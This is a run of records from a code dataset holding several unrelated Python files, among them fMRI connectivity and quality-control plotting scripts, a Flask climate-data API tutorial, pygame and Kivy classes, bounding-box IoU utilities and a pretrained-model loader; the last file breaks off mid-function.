regressing out the white matter\ndm_noWM = make_design_matrix_noWM(data_concate, cov_concate, tr)\ndata_concate.X = dm\n\n# denoise the data\nstats = data_concate.regress()\ndata_denoised = stats['residual']\n\n# extract time series of each roi\nrois_data = data_denoised.extract_roi(mask=mask)\n\n# compute pair-wise partial correlation\nrois_df = pd.DataFrame(rois_data.T)\nroi_pcorr = rois_df.pcorr().to_numpy()\n\n# write the partial correlation to file\nfileName = sub_id + '_' + 'concat' + '_' + 'pcorr_noWM.csv'\noutput_dir = os.path.join('/projects/sanlab/shared/DEV/DEV_scripts/rsfMRI/baseline_analysis/', 'subject_correlation', 'concatenate', fileName)\npcorr_df = pd.DataFrame(roi_pcorr)\npcorr_df.to_csv(output_dir, index=False, header=False)\n\n# compute correlation\nroi_corr = 1 - pairwise_distances(rois_data, metric='correlation')\n\n# write the correlation to file\nfileName = sub_id + '_' + 'concat' + '_' + 'corr_noWM.csv'\noutput_dir = os.path.join('/projects/sanlab/shared/DEV/DEV_scripts/rsfMRI/baseline_analysis/', 'subject_correlation', 'concatenate', fileName)\ncorr_df = pd.DataFrame(roi_corr)\ncorr_df.to_csv(output_dir, index=False, header=False)\n","sub_path":"rsfMRI/baseline_analysis/scripts/subject_corr.py","file_name":"subject_corr.py","file_ext":"py","file_size_in_byte":8380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"628073153","text":"{\n \"cells\": [],\n \"metadata\": {},\n \"nbformat\": 4,\n \"nbformat_minor\": 4\n}\n\n\n# Import dependencies\nfrom flask import Flask\nimport datetime as dt\nimport numpy as np\nimport pandas as pd\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nfrom flask import Flask, jsonify\n\n\n######################################################\n# Set up database\n#######################################################\n\n# Set up database for the Flask app\n# create_engine() function allows us to access and query SQLite database file\nengine = create_engine(\"sqlite:///hawaii.sqlite\")\n\n# Reflect the database into our classes\nBase = automap_base()\n\n# Reflect tables\nBase.prepare(engine, reflect=True)\n\n# With database reflected, we can save our references to each table\n# Reuse the same references that we created in ipynb earlier in module\n# Create a variable for each of the classes so that we can reference them later\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n# Create a session link from Python to our database\nsession = Session(engine)\n\n\n####################################################################\n# Set up Flask \n# Create a new Flask app instance\n# Create a Flask application instance\n# Create Flask routes\n# Define function and return statement\n# Run a Flask app\n# To run Flask app, you have to run in command line \n# First set the Flask_APP env variable in command line:  export FLASK_APP=app.py\n# Then run command: flask run\n# Environment variable sets the path that will run app.py\n########################################################################\n\n\n# Set up Flask application instance\n# The __name__ variable denotes the name of the current function\n# All code should go after the app=Flask(__name__) code\napp = Flask(__name__)\n\n# Create Flask routes\n# First define the welcome or starting point (root) --> @app.route('/')\n# The forward slash denotes that we want to put our data at the root of our routes; commonly known as highest level of hierarchy\n# When you make a route in Flask, you put the code you want in the specific route\n@app.route('/')\n\n# Next, add the routing information for each of the other routes\n# For this, first we'll create a function and our return statement will have f-strings as a reference to all of the other routes\n# Next, add the precipitation, stations, tobs, and temp routes that we'll need for this module into our return statement. \n# Use f-strings to display them\ndef welcome():\n    return(\n    '''\n    Welcome to the Climate Analysis API!\n    Available Routes:\n    /api/v1.0/precipitation\n    /api/v1.0/stations\n    /api/v1.0/tobs\n    /api/v1.0/temp/start/end\n    ''')\n\n# Add the precipitation route\n# This code should occur outside the previous route and have no indentation\n# This route will occur separately frm the welcome route\n@app.route(\"/api/v1.0/precipitation\")\n\n# Create the precipitation() function\n# Then, write a query to get the date and precipitation for the previous year\n# the .\\ in the first line of our query is used to signify that we want our query to \n# continue on the next line. \n# Finally, create a dictionary with the date as the key and the precipitation as the value\n# We'll use the jasonify() to format our results into a JSON file\ndef precipitation():\n    prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n    precipitation = session.query(Measurement.date, Measurement.prcp).\\\n      filter(Measurement.date >= prev_year).all()\n    precip = {date: prcp for date, prcp in precipitation}\n    return jsonify(precip)\n\n# Add the stations route\n# This code should occur outside the previous route and have no indentation\n@app.route(\"/api/v1.0/stations\")\n\n# Define (create) a function called stations() to get a list of all stations\n# Then, write query to get all the stations in our database\n# We want to unravel results into a one-dimensional array (list) --> use the function np.ravel(), with results as our parameter.\n# Then jsonify the  stations list and return it as JSON\n# To return our list as JSON, we need to add stations=stations. This formats our list into JSON. \ndef stations():\n    results = session.query(Station.station).all()\n    stations = list(np.ravel(results))\n    return jsonify(stations=stations)\n\n#  Add the monthly temperature route\n@app.route(\"/api/v1.0/tobs\")\n\n# Define a function called temp_monthly() to return the temperature observations (tobs) for the previous year\n# Calculate the date one year ago from the last date in the database\n# Write a query statement the primary station for all the temperature observations from the previous year\n# Finally, unravel results into a one-dimensional array and convert that array into a list\n# Then, jsonify the temps list and return results\ndef temp_monthly():\n    prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n    results = session.query(Measurement.tobs).\\\n      filter(Measurement.station == 'USC00519281').\\\n      filter(Measurement.date >= prev_year).all()\n    temps = list(np.ravel(results))\n    return jsonify(temps=temps)\n\n\n#  Add the statistics (min/max/avg temps) route\n@app.route(\"/api/v1.0/temp/<start>\")\n@app.route(\"/api/v1.0/temp/<start>/<end>\")\n\n# Define a function called stats() to return the temperature observations (tobs) for the previous year\n# Add parameters to our status() function: a \"start\" parameter and an \"end\" parameter, and set both for now to \"None\"\n# Write a query statement to select the min/max/avg temps from our SQLite database\n# Start by creating a list called \"sel\"\n# Since we need to determine the starting and end date, add an \"if-not\" statement to code\n# Well use this to query our db using the list that we just made\n# Finally, unravel results into a one-dimensional array and convert that array into a list\n# Then, jsonify the temps list and return results\n# Note the asterik in the query next to the \"sel\" list\n# Now we need to calculate the min/max/avg with the start and date date\n# We'll use the \"sel\" list which is the data points we need to collect\n# When copying / pasting the web address provided by Flask into a web server, add \n# entering any date in the dataset as a start and end date. The code will output the minimum, maximum, and average temperatures.\ndef stats(start=None, end=None):\n    sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n\n    if not end:\n        results = session.query(*sel).\\\n            filter(Measurement.date >= start).all()\n        temps = list(np.ravel(results))\n        return jsonify(temps=temps)\n\n    results = session.query(*sel).\\\n        filter(Measurement.date >= start).\\\n        filter(Measurement.date <= end).all()\n    temps = list(np.ravel(results))\n    return jsonify(temps)\n\n#################################################################################\n# Additional notes -\n# To view the output of your code. copy the web address (http://127.0.0.1:5000/) into our web browser. \n# You will need to navigate to the precipitation route in order to see the output of your code. \n# You can do this by adding api/v1.0/precipitation to the end of the web address.\n#################################################################################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"384363641","text":"import pygame\nfrom .abstract_sprite import AbstractSprite\nfrom ..resource_manager import ResourceManager\n\n\nclass AbstractPlatform(AbstractSprite):\n    ACTIVE = (255, 0, 255, 255)\n    RESIDE = (0, 255, 0, 255)\n    ACTIVE_A = (255, 0, 255, 0)\n    RESIDE_A = (0, 255, 0, 0)\n\n    def __init__(self, level, sprite, collision, coord, invert, invisible=False, scale=None):\n        AbstractSprite.__init__(self)\n        self._invisible = invisible\n\n        if sprite is None:\n            self.image = pygame.Surface((coord.width, coord.height), pygame.SRCALPHA)\n            if not self._invisible:\n                self.image.fill(self.ACTIVE)\n            coord.top -= coord.height #Pygame defines rect as: left, top, w, h. We want left, bottom, w, h\n            self.rect = coord\n            pos = (coord.left, coord.bottom)\n        else:\n            self.image = ResourceManager.load_sprite(sprite, level)\n            if scale is not None:\n                (_, _, x_size, y_size) = self.image.get_rect()\n                x_size = int(float(x_size * scale))\n                y_size = int(float(y_size * scale))\n                self.image = pygame.transform.scale(self.image, (x_size, y_size))\n            self.rect = self.image.get_rect()\n            pos = coord\n\n        if invert:\n            self.image = pygame.transform.flip(self.image, True, False)\n\n        self.set_global_position(pos)\n        self.set_collision(collision)\n","sub_path":"game/entities/abstract_platform.py","file_name":"abstract_platform.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"283391469","text":"import torch\n\ndef remove_boxes_by_center(boxlist, crop_region):\n    xyxy_boxes = boxlist.convert(\"xyxy\").bbox\n    left, up, right, bottom = crop_region\n    # center of boxes should inside the crop img\n    centers = (xyxy_boxes[:, :2] + xyxy_boxes[:, 2:]) / 2\n    keep = (\n            (centers[:, 0] > left) & (centers[:, 1] > up) &\n            (centers[:, 0] < right) & (centers[:, 1] < bottom)\n    ).nonzero().squeeze(1)\n    return boxlist[keep]\n\n\ndef remove_boxes_by_overlap(ori_targets, crop_targets, iou_th):\n    ori_targets.size = crop_targets.size\n    iou_matrix = boxlist_iou(ori_targets, crop_targets)\n    iou_list = torch.diag(iou_matrix, diagonal=0)\n    keep = (iou_list >= iou_th).nonzero().squeeze(1)\n    return crop_targets[keep]\n\n# implementation from https://github.com/kuangliu/torchcv/blob/master/torchcv/utils/box.py\n# with slight modifications\ndef boxlist_iou(boxlist1, boxlist2):\n    \"\"\"Compute the intersection over union of two set of boxes.\n    The box order must be (xmin, ymin, xmax, ymax).\n    Arguments:\n      box1: (BoxList) bounding boxes, sized [N,4].\n      box2: (BoxList) bounding boxes, sized [M,4].\n    Returns:\n      (tensor) iou, sized [N,M].\n    Reference:\n      https://github.com/chainer/chainercv/blob/master/chainercv/utils/bbox/bbox_iou.py\n    \"\"\"\n    if boxlist1.size != boxlist2.size:\n        raise RuntimeError(\n            \"boxlists should have same image size, got {}, {}\".format(boxlist1, boxlist2))\n\n    N = len(boxlist1)\n    M = len(boxlist2)\n\n    area1 = boxlist1.area()\n    area2 = boxlist2.area()\n\n    box1, box2 = boxlist1.bbox, boxlist2.bbox\n\n    lt = torch.max(box1[:, None, :2], box2[:, :2])  # [N,M,2]\n    rb = torch.min(box1[:, None, 2:], box2[:, 2:])  # [N,M,2]\n\n    TO_REMOVE = 1\n\n    wh = (rb - lt + TO_REMOVE).clamp(min=0)  # [N,M,2]\n    inter = wh[:, :, 0] * wh[:, :, 1]  # [N,M]\n\n    iou = inter / (area1[:, None] + area2 - inter)\n    return iou","sub_path":"utils/data/boxlist_ops.py","file_name":"boxlist_ops.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"461647322","text":"from PyCal.Memory.data_factory import DataFactory\nfrom PyCal.Brain.function.eg.lookup import Lookup\nimport pandas as pd\nclass LookupStandard(Lookup):\n    def __init__(self):\n        super(LookupStandard, self).__init__()\n\n    def getScore(self, egNo, f_result):\n        result ={}\n        df_eg = self.data_factory.getTab(self.data_type, \"EG1D\", {\"EG\":[egNo], \"Lower\": [], \"Upper\": [], \"Score\": []})\n        for i in f_result:\n\n            df_eg_fil_lower = df_eg[df_eg[\"Lower\"] <= f_result[i]]\n\n            df_eg_fil_upper = df_eg_fil_lower[(df_eg_fil_lower[\"Upper\"] > f_result[i]) | (pd.isnull(df_eg_fil_lower[\"Upper\"]))]\n            print(df_eg_fil_upper)\n            result[i] = df_eg_fil_upper[\"Score\"].values[0]\n        return result\nclass Lookup1D(Lookup):\n    def __init__(self):\n        super(Lookup1D, self).__init__()\n    def getScore(self, egNo, f_result):\n        df_eg = self.data_factory.getTab(self.data_type, \"EG1D\", {\"EG\":[egNo], \"Lower\": [], \"Upper\": [], \"Score\": []})\n        df_eg_fil_lower = df_eg[df_eg[\"Lower\"] <= f_result]\n\n        df_eg_fil_upper = df_eg_fil_lower[(df_eg_fil_lower[\"Upper\"] > f_result) | (pd.isnull(df_eg_fil_lower[\"Upper\"]))]\n        print(df_eg_fil_upper)\n        if len(df_eg_fil_upper[\"Score\"]) == 0: return 0\n        return df_eg_fil_upper[\"Score\"].values[0]\nclass Lookup2D(Lookup):\n    def __init__(self):\n        super(Lookup2D, self).__init__()\n\n    def getScore(self, egNo, f_result):\n        result = 0\n        df_eg = self.data_factory.getTab(self.data_type, \"EG2D\", {\"EG\":[egNo], \"LowerX\": [], \"UpperX\": [],\"LowerY\": [], \"UpperY\": [], \"Score\": []})\n        # empty\n        if len(df_eg[\"Score\"].values) == 0: return 0\n        df_eg[\"LowerX\"] = df_eg[\"LowerX\"].astype(str)\n        df_eg[\"UpperX\"] = df_eg[\"UpperX\"].astype(str)\n        for i in f_result:\n            df_eg_fil_X = df_eg[(df_eg[\"LowerX\"] == i) & (df_eg[\"UpperX\"] == i)]\n            df_eg_fil_Y = df_eg_fil_X[(df_eg_fil_X[\"LowerY\"] <= f_result[i]) & ((df_eg_fil_X[\"UpperY\"] > f_result[i]) | pd.isnull(df_eg_fil_X[\"UpperY\"]))]\n            print(df_eg_fil_Y)\n            if len(df_eg_fil_Y[\"Score\"] > 0):\n                result += df_eg_fil_Y[\"Score\"].values[0]\n        return result\n","sub_path":"Brain/function/eg/lookup_standard.py","file_name":"lookup_standard.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"70489633","text":"\"\"\"\nThis problem was asked by Facebook.\n\nGiven a array of numbers representing the stock prices of a company in chronological order, write a function that calculates the maximum profit you could have made from buying and selling that stock once. You must buy before you can sell it.\n\nFor example, given [9, 11, 8, 5, 7, 10], you should return 5, since you could buy the stock at 5 dollars and sell it at 10 dollars.\n\n\"\"\"\n\ndef maxProfit(prices):\n        sell_val = 0\n        purchase_val = float('inf')\n        profit = 0\n        for i in prices:\n            if i < purchase_val:\n                purchase_val = i\n            sell_val = i\n            if sell_val - purchase_val > profit:\n                profit = sell_val-purchase_val\n        return profit\n\n# Time Complexity = O(n)\n# Space Complexity = O(1)\n","sub_path":"problem_047.py","file_name":"problem_047.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"287056098","text":"import os\nimport torch\nimport logging\nimport torch.utils.model_zoo as model_zoo\n\nfrom ...config import cfg\n\n\nmodel_urls = {\n    'resnet18b': 'https://download.pytorch.org/models/resnet18-5c106cde.pth',\n    'resnet34b': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth',\n    'resnet50b': 'https://download.pytorch.org/models/resnet50-19c8e357.pth',\n    'resnet101b': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth',\n    'resnet152b': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth',\n    'resnet50c': 'https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/resnet50-25c4b509.pth',\n    'resnet101c': 'https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/resnet101-2a57e44d.pth',\n    'resnet152c': 'https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/resnet152-0d43d698.pth',\n    'xception65': 'https://github.com/LikeLy-Journey/SegmenTron/releases/download/v0.1.0/tf-xception65-270e81cf.pth'\n}\n\n\ndef load_backbone_pretrained(model, backbone):\n    if cfg.PHASE == 'train' and cfg.TRAIN.BACKBONE_PRETRAINED and (not cfg.TRAIN.PRETRAINED_MODEL_PATH):\n        if os.path.isfile(cfg.TRAIN.BACKBONE_PRETRAINED_PATH):\n            logging.info('Load backbone pretrained model from {}'.format(\n                cfg.TRAIN.BACKBONE_PRETRAINED_PATH\n            ))\n            msg = model.load_state_dict(torch.load(cfg.TRAIN.BACKBONE_PRETRAINED_PATH), strict=False)\n            logging.info(msg)\n        elif backbone not in model_urls:\n            logging.info('{} has no pretrained model'.format(backbone))\n            return\n        else:\n            logging.info('load backbone pretrained model from url..')\n            msg = model.load_state_dict(model_zoo.load_url(model_urls[backbone]))\n            logging.info(msg)","sub_path":"segmentron/models/backbones/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"19608585","text":"from kivy.uix.label import Label\n\nclass MiniLabel(Label):\n    old_height = None\n    \n    def __init__(self, **kwargs):\n        super(MiniLabel, self).__init__( **kwargs)\n        self.old_height = self.height\n        if self.text == \"\":\n            self.height = 0\n        self.bind(texture_size=self.setter(\"size\"))\n    \n    def on_text(self, widget, text):\n        if self.old_height != None:\n            if self.text == \"\" :\n                self.height = 0\n            else:\n                self.height = self.old_height\n      \nclass MiniLabelXY(MiniLabel):\n    def __init__(self, **kwargs):\n        super(MiniLabelXY, self).__init__( **kwargs)\n        self.size_hint  = None, None\n        \nclass MiniLabelY(MiniLabel):\n    def __init__(self, **kwargs):\n        super(MiniLabelY, self).__init__( **kwargs)\n        self.size_hint_y  = None\n\nclass MiniLabelX(MiniLabel):\n    def __init__(self, **kwargs):\n        super(MiniLabelX, self).__init__( **kwargs)\n        self.size_hint_x  = None","sub_path":"Label/mini_label.py","file_name":"mini_label.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"361171119","text":"#!/usr/bin/env python3\nimport os, sys\nimport re\nimport json\nfrom pprint import pprint\nimport pandas as pd\nfrom openpyxl import load_workbook\n\n\ndata = {\n        \"Default_docker\":{},\n        \"Clear_docker\":{}\n        }\n\ndef open_logs(file_name):\n    with open(file_name, 'r', encoding=\"utf-8\") as f:\n        return f.readlines()\n\ndef extract_logs(lines):\n    \"\"\"Test docker hub official image\"\"\"\n    for i in lines[1:lines.index(\n            \"[tensorflow] [INFO] Test clear docker image:\\n\")]:\n        if i.startswith(\"Total duration\"):\n            score = i.split()\n            data.get(\"Default_docker\").update(\n                {\"Total duration\": score[-2]}\n            )\n    \"\"\"Test clear docker image\"\"\"\n    for i in lines[\n             lines.index(\"[tensorflow] [INFO] Test clear docker image:\\n\"):]:\n        if i.startswith(\"Total duration\"):\n            score = i.split()\n            data.get(\"Clear_docker\").update(\n                {\"Total duration\": score[-2]}\n            )\ndef main():\n    log_file = sys.argv[1]\n#    log_file = 'node_test.log'\n    log_list = open_logs(log_file)\n    extract_logs(log_list)\n\nif __name__ == '__main__':\n    main()\n    #pprint(data)\n    df = pd.DataFrame(data)\n    pprint(df)\n\n","sub_path":"LBJ_script/tensorflow_extract.py","file_name":"tensorflow_extract.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"636228919","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 16 12:11:02 2017\n\n@author: baczkowski\n\"\"\"\n\nimport math\nimport os\nimport time\nimport nibabel as nb\nimport numpy as np\nimport seaborn as sns\nfrom matplotlib.figure import Figure\nfrom pylab import cm\nfrom matplotlib.gridspec import GridSpec\nfrom matplotlib.backends.backend_pdf import FigureCanvasPdf as FigureCanvas\nfrom nipy.labs import viz\nimport pylab as plt\nimport matplotlib.pyplot as pyplt\nimport matplotlib.patches as mpatches\n\n#functions for plotting distributions\ndef plot_vline(cur_val, label, ax):\n    ax.axvline(cur_val)\n    ylim = ax.get_ylim()\n    vloc = (ylim[0] + ylim[1]) / 2.0\n    xlim = ax.get_xlim()\n    pad = (xlim[0] + xlim[1]) / 100.0\n    ax.text(cur_val - pad, vloc, label, color=\"blue\", rotation=90, verticalalignment='center', horizontalalignment='right')\n\ndef _get_values_inside_a_mask(main_file, mask_file):\n    main_nii = nb.load(main_file)\n    main_data = main_nii.get_data()\n    nan_mask = np.logical_not(np.isnan(main_data))\n    mask = nb.load(mask_file).get_data() > 0\n    \n    data = main_data[np.logical_and(nan_mask, mask)]\n    return data\n\ndef get_median_distribution(main_files, mask_files):\n    medians = []\n    for main_file, mask_file in zip(main_files, mask_files):\n\t#print main_file\n        med = np.median(_get_values_inside_a_mask(main_file, mask_file))\n        medians.append(med)\n    return medians\n\ndef plot_distrbution_of_values(main_file, mask_file, xlabel, distribution=None, xlabel2=None, figsize=(11.7,8.3)):\n    data = _get_values_inside_a_mask(main_file, mask_file)\n\n    fig = Figure(figsize=figsize)\n    FigureCanvas(fig)\n    \n    gs = GridSpec(2, 1)\n    ax = fig.add_subplot(gs[0, 0])\n    sns.distplot(np.array(data, dtype=np.double), kde=False, bins=100, ax=ax) #sns.distplot(data.astype(np.double), kde=False, bins=100, ax=ax)\n    ax.set_xlabel(xlabel)\n    \n    ax = fig.add_subplot(gs[1, 0])\n    sns.distplot(np.array(distribution, dtype=np.double), ax=ax) #sns.distplot(np.array(distribution).astype(np.double), ax=ax)\n    cur_val = np.median(data)\n    label = \"%g\"%cur_val\n    plot_vline(cur_val, label, ax=ax)\n    ax.set_xlabel(xlabel2)\n    \n    return fig\n    \n    \ndef get_mean_frame_displacement_disttribution(FD_files):\n    mean_FDs = []\n    max_FDs = []\n    for FD_file in FD_files:\n        FD_power = np.loadtxt(FD_file)\n        mean_FDs.append(FD_power.mean())\n        max_FDs.append(FD_power.max())\n        \n    return mean_FDs, max_FDs\n\ndef plot_frame_displacement(FD_file, mean_FD_distribution=None, figsize=(11.7,8.3)):\n\n    FD_power = np.loadtxt(FD_file)\n\n    fig = Figure(figsize=figsize)\n    FigureCanvas(fig)\n    \n    if mean_FD_distribution:\n        grid = GridSpec(2, 4)\n    else:\n        grid = GridSpec(1, 4)\n    \n    ax = fig.add_subplot(grid[0,:-1])\n    ax.plot(FD_power)\n    ax.set_xlim((0, len(FD_power)))\n    ax.set_ylabel(\"Frame Displacement [mm]\")\n    ax.set_xlabel(\"Frame number\")\n    ylim = ax.get_ylim()\n    \n    ax = fig.add_subplot(grid[0,-1])\n    sns.distplot(FD_power, vertical=True, ax=ax)\n    ax.set_ylim(ylim)\n    \n    if mean_FD_distribution:\n        ax = fig.add_subplot(grid[1,:])\n        sns.distplot(mean_FD_distribution, ax=ax)\n        ax.set_xlabel(\"Mean Frame Displacement (over all subjects) [mm]\")\n        MeanFD = FD_power.mean()\n        label = \"MeanFD = %g\"%MeanFD\n        plot_vline(MeanFD, label, ax=ax)\n        \n    fig.suptitle('motion', fontsize='14')\n        \n    return fig\n\ndef get_mean_DVARS_disttribution(DVARS_files):\n    mean_DVARS = []\n    max_DVARS = []\n    for DVARS_file in DVARS_files:\n        DVARS = np.loadtxt(DVARS_file)\n        mean_DVARS.append(DVARS.mean())\n        max_DVARS.append(DVARS.max())\n        \n    return mean_DVARS, max_DVARS\n\ndef plot_DVARS(title, DVARS_file, mean_DVARS_distribution=None, figsize=(11.7,8.3)):\n\n    DVARS = np.loadtxt(DVARS_file)\n\n    fig = Figure(figsize=figsize)\n    FigureCanvas(fig)\n    \n    if mean_DVARS_distribution:\n        grid = GridSpec(2, 4)\n    else:\n        grid = GridSpec(1, 4)\n    \n    ax = fig.add_subplot(grid[0,:-1])\n    ax.plot(DVARS)\n    ax.set_xlim((0, len(DVARS)))\n    ax.set_ylabel(\"DVARS\")\n    ax.set_xlabel(\"Frame number\")\n    ylim = ax.get_ylim()\n    \n    ax = fig.add_subplot(grid[0,-1])\n    sns.distplot(DVARS, vertical=True, ax=ax)\n    ax.set_ylim(ylim)\n    \n    if mean_DVARS_distribution:\n        ax = fig.add_subplot(grid[1,:])\n        sns.distplot(mean_DVARS_distribution, ax=ax)\n        ax.set_xlabel(\"Mean DVARS (over all subjects) [std]\")\n        MeanFD = DVARS.mean()\n        label = \"Mean DVARS = %g\"%MeanFD\n        plot_vline(MeanFD, label, ax=ax)\n        \n    fig.suptitle(title, fontsize='14')\n        \n    return fig\n    \ndef get_similarity_distribution(mincost_files):\n    similarities = []\n    for mincost_file in mincost_files:\n        similarity = float(open(mincost_file, 'r').readlines()[0].split()[0])\n        similarities.append(similarity)\n    return similarities\n\ndef plot_epi_T1_corregistration(mean_epi_file, wm_file, subject_id, similarity_distribution=None, figsize=(11.7,8.3),):\n       \n    fig = plt.figure(figsize=figsize)\n    \n    if similarity_distribution:\n        ax = plt.subplot(2,1,1)\n        sns.distplot(similarity_distribution.values(), ax=ax)\n        ax.set_xlabel(\"EPI-T1 mincost function (over all subjects)\")\n        cur_similarity = similarity_distribution[subject_id]\n        label = \"mincost function = %g\"%cur_similarity\n        plot_vline(cur_similarity, label, ax=ax)\n        \n        ax = plt.subplot(2,1,2)\n    else:\n        ax = plt.subplot(1,1,0)\n    \n  \n\n    func = nb.load(mean_epi_file).get_data()\n    func_affine = nb.load(mean_epi_file).get_affine()\n    \n    wm_data = nb.load(wm_file).get_data()\n    wm_affine = nb.load(wm_file).get_affine()\n    \n    slicer = viz.plot_anat(np.asarray(func), np.asarray(func_affine), black_bg=True,\n                           cmap = cm.Greys_r,  # @UndefinedVariable\n                           figure = fig,\n                           axes = ax,\n                           draw_cross = False)\n    slicer.contour_map(np.asarray(wm_data), np.asarray(wm_affine), linewidths=[0.1], colors=['r',])\n    \n    fig.suptitle('coregistration', fontsize='14')\n    \n    return fig\n\ndef _calc_rows_columns(ratio, n_images):\n    rows = 1\n    for _ in range(100):\n        columns = math.floor(ratio * rows)\n        total = rows * columns\n        if total > n_images:\n            break\n\n        columns = math.ceil(ratio * rows)\n        total = rows * columns\n        if total > n_images:\n            break\n        rows += 1\n    return rows, columns\n\ndef plot_mosaic(nifti_file, title=None, overlay_mask = None, figsize=(11.7,8.3)):\n    if isinstance(nifti_file,str): \n        nii = nb.load(nifti_file)\n        mean_data = nii.get_data()\n    else:\n        mean_data = nifti_file\n   \n    n_images = mean_data.shape[2]\n    row, col = _calc_rows_columns(figsize[0]/figsize[1], n_images)\n    \n    if overlay_mask:\n        overlay_data = nb.load(overlay_mask).get_data()\n\n    # create figures\n    fig = Figure(figsize=figsize)\n    FigureCanvas(fig)\n    \n    fig.subplots_adjust(top=0.85)\n    for image in (range(n_images)):\n        ax = fig.add_subplot(row, col, image+1)\n        data_mask = np.logical_not(np.isnan(mean_data))\n        if overlay_mask:\n            ax.set_rasterized(True)\n        ax.imshow(np.fliplr(mean_data[:,:,image].T), vmin=np.percentile(mean_data[data_mask], 0.5), \n                   vmax=np.percentile(mean_data[data_mask],99.5), \n                   cmap=cm.Greys_r, interpolation='nearest', origin='lower')  # @UndefinedVariable\n        if overlay_mask:\n            cmap = cm.Reds  # @UndefinedVariable\n            cmap._init() \n            alphas = np.linspace(0, 0.75, cmap.N+3)\n            cmap._lut[:,-1] = alphas\n            ax.imshow(np.fliplr(overlay_data[:,:,image].T), vmin=0, vmax=1,\n                   cmap=cmap, interpolation='nearest', origin='lower')  # @UndefinedVariable\n            \n        ax.axis('off')\n    fig.subplots_adjust(left = 0.05, right = 0.95, bottom = 0.05, top = 0.95, wspace=0.01, hspace=0.1)\n    \n    if not title:\n        _, title = os.path.split(nifti_file)\n        title += \" (last modified: %s)\"%time.ctime(os.path.getmtime(nifti_file))\n    fig.suptitle(title, fontsize='14')\n    \n    return fig    \n    \n    \n#################### POWER PLOTS ##############################################\n\ndef plot_power(subject_id, session,\n               FD_file, \n               onsets,\n               data_reshaped_sorted, \n               hline_wm, hline_subcort, \n               data_post_reshaped_sorted,\n               DVARSpre_file, \n               DVARSpost_file,\n               GS_pre,\n               GS_post,\n               SCR,\n               seq,\n               nvol,\n               figsize=(14,8)):\n    \n    FD = np.loadtxt(FD_file)\n    DVARSpre = np.loadtxt(DVARSpre_file)\n    DVARSpost = np.loadtxt(DVARSpost_file)\n\n    \n    sns.set_style('white')    \n    sns.set(font_scale=.8)\n    \n    \n    fig = pyplt.figure(1)\n    fig.set_size_inches=figsize\n    fig.subplots_adjust(hspace=.25)\n    \n    \n    ax1 = pyplt.subplot2grid((5,3), (0,0), colspan=3)\n    sns.tsplot(FD, range(1,nvol+1), color='k', ax=ax1, linewidth=0.8)\n    [ax1.axvspan(x, x+1, facecolor='b', alpha=.5, fill=True) for x in onsets['CSminus']]\n    [ax1.axvspan(x, x+1, facecolor='g', alpha=.5, fill=True) for x in onsets['CSplus']]\n    p1 = mpatches.Patch(color='b', label='CS-')\n    p2 = mpatches.Patch(color='g', label='CS+')\n    ax1.legend(handles=[p1,p2], bbox_to_anchor=(1, 1), loc=2)\n    ax1.set_xticks([])\n    ax1.set_ylabel('FD (mm)')\n    ax1.set_title('Head motion')\n    ax1.set_xlim([1,nvol])\n    \n    \n    ax2 = pyplt.subplot2grid((5,3), (1,0), colspan=3)\n    sns.tsplot(DVARSpre, range(2,nvol+1), color='b', ax=ax2, linewidth=0.8)\n    sns.tsplot(DVARSpost-1, range(2,nvol+1), color='r', ax=ax2, linewidth=0.8)\n    ax2.set_ylabel('DVARS (std)')\n    ax2.set_title('BOLD')\n    ax2.yaxis.tick_right()\n    ax2.set_xticks([])\n    ax2.set_yticks([])\n    ax2.set_xlim([2,nvol])\n    ax2.legend(['Pre', 'Post'], bbox_to_anchor=(1, 1), loc=2)\n    \n    ax3 = pyplt.subplot2grid((5,3), (2,0), colspan=3)\n    sns.tsplot(GS_pre, range(1,nvol+1), color='g', ax=ax3, linewidth=0.8)\n    sns.tsplot(GS_post, range(1,nvol+1), color='y', ax=ax3, linewidth=0.8)\n    if subject_id != '25' or session != 'EXT2':\n        sns.tsplot(SCR-np.max(SCR)-.8, seq, color='b', ax=ax3, marker='o', linewidth=0.5, markersize=2)\n    #ax3.set_ylabel('BOLD')\n    ax3.set_title('Global signal & SCR amplitudes')\n    ax3.yaxis.tick_right()\n    ax3.set_xticks([])\n    ax3.set_yticks([])\n    ax3.set_xlim([1,nvol])\n    ax3.legend(['GS Pre', 'GS Post'], bbox_to_anchor=(1, 1), loc=2)\n    \n#    m = np.mean(data_reshaped_sorted/100)\n#    std = 